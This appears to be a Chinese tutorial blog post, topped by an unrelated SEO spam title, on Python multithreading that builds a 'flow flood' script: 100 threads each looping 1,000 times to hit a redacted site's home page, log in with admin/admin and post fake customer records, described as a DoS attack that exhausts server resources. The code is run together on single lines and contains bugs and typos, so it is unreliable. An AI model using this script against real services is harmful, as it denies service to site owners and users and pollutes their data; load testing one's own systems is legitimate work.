做化工回收上什么网站seo自媒体培训
多线程与流量泛洪
并发操作
如果一个单核的cpu,是并不存在严格意义的并发,只是因为处理时间极短,所以感觉上是并发操作的。
针对多核CPU,4核CPU,严格意义上的并发处理是4个
线程和进程
- 每一个应用程序,至少会有一个进程,并且拥有PID(进程ID)和独立的内存空间。
- 每一个进程至少拥有一个线程,而线程并没有独立的内存空间。
泛红初体验之thread.py
import threading
import time,random
# 单线程情况下,下述代码执行或消耗5秒钟的时间
def test_01():print(threading.currentThread().getName()) # 输出当前线程的名字for i in range(5):print(time.strftime('%Y-%m-%d %H:%M:%S'))time.sleep(1)
# 使用多线程的方式输入5次时间
def test_02():print(threading.currentThread().getName())print(time.strftime('%Y-%m-%d %H:%M:%S'))time.sleep(1)session=requests.session()
def home():url="xx.xx.xx"resp=session.get(url)if "xxxxxxxxx" in resp.text:print("首页访问成功")else:print("首页访问失败")
def login():data={'username':'admin','password':'admin','verifycode':'0000'}resp=session.post(url=url,data=data)if resp.test=='login-pass':print('登陆成功')else:print('登陆失败')def add():data={'customername':'未知','customerphone':f'13{random.randint(30000000,999999999)}','childsex':'男','childdate':'2021-10-15','creditkids':'0','creditcloth':'0'}resp=session.post(f"{url}/xxxx/customer/add",data=data)if resp.text=="add-successful":print("新增会员成功")else:print("新增会员失败")
# 基于HTTP协议,进行流量的泛洪,压力测试,性能测试
# 使用多线程模拟流量泛红(Flow Flood) 攻击xxx.xxx.xxx
def xxxxsales_flood():for i in range(1000):try:home()login()add()except:passif __name__=='__main__':# test_01() # 当python执行时,虽然没有手工启动线程,默认Python会启动一个主线程# 并发启动5个线程#for i in range(5):# 实例化一个线程,target表示是哪个方法,将那个方法传过去,注意没有圆括号,有圆括号就是调用了,若目标函数有参数,在后面跟上args=(),以元组的方式传过去即可# 或者这样描述,实例化一个线程,并且指定调用test_02函数#t=threading.Thread(target=test_02)# 启动线程#t.start()#test_02()for i in range(100):threading.Thread(target=wxxxxales_flood).start
DOS攻击的核心
利用常规技术或特殊技术,想办法消耗掉目标服务器的资源(CPU、内存、硬盘,带宽,连接数等),使其无法正常提供对外服务
小知识点:
装饰器
可以用于收集其响应时间
def performance(func):def inner():start=time.time()func()end=time.time()print(f"请求:{func.__name__}的响应时间为:{end-start}")return inner
@performance
def home():url="xx.xx.xx"resp=session.get(url)if "xxxxxxxxx" in resp.text:print("首页访问成功")else:print("首页访问失败")